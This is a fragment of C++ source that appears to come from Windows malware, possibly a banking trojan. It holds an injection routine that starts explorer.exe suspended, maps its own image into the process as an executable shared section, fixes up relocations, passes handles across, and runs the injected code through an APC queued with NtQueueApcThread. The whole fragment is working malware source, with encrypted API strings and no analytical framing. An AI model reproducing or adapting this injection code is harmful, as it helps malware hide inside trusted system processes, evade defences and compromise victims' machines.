  PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
#endif
  typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG);
  typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG);

  CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection);
  CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread);
  CSTR_GETW(slashexplorerdotexe, explorer_exe);

  tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection);
  tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread);
  WCHAR path[MAX_PATH];
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1);
  WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path);
  DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage;
  bool ok         = false;
  DWORD viewSize = imageSize;
  void* remoteMem = 0;

  if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL;
  
  //Выделние памяти для модуля.
 
  STARTUPINFOW st; PROCESS_INFORMATION pi;
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}
  HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL);
  
  if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;}
  
  CWA(kernel32,TerminateProcess)(pi.hProcess,0);
  Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION));
  if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;}

  //Verjacrinq, uxxum enq koder@ u bacum noric
  if(remoteMem != NULL)
  {
    //Создаем локальный буфер, в котором будем вносить измненеия.
	LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0);
	if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;}
	Mem::_copy(buf, image, imageSize);
    if(buf != NULL)
    {
      //Изменяем релоки.
      IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
      
      if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0)
      {
        DWORD_PTR delta               = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase);
        DWORD_PTR oldDelta            = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase);
        IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress);
      
        while(relHdr->VirtualAddress != 0)
        {
          if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это?
          {
            DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
            LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION));
            
            for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0)
            {
              DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i]))));
              *p -= oldDelta;
              *p += delta;
            }
          }
          
          relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock);
        }


        //Копируем образ в процесс.
        //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false;
		
		{
		

			//Указываем текущий модуль.
			if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE)))
			{
			WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current.");
			
			}
			{
				HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId);
				HANDLE newMutex;
				if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE)
				{
					WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process.");
				}
			}
			DWORD proccessFlags = 0;
			proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK);
			if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD)))
			{
			  WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags.");
			}

			  //coreData.globalHandles.stopEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent.");
			}

			//coreData.globalHandles.stopedEvent.
			if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent))
			{
				WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent.");
			}

		}

		if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;}
		if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);};
		CWA(kernel32,ResumeThread)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hThread);
		CWA(kernel32,CloseHandle)(pi.hProcess);

	  }
      
      CWA(kernel32,UnmapViewOfFile)(buf);
	  CWA(kernel32,CloseHandle)(hFile);
    }
    
    if(!ok)
    {
      remoteMem = NULL;
    }
  }

  return remoteMem;
}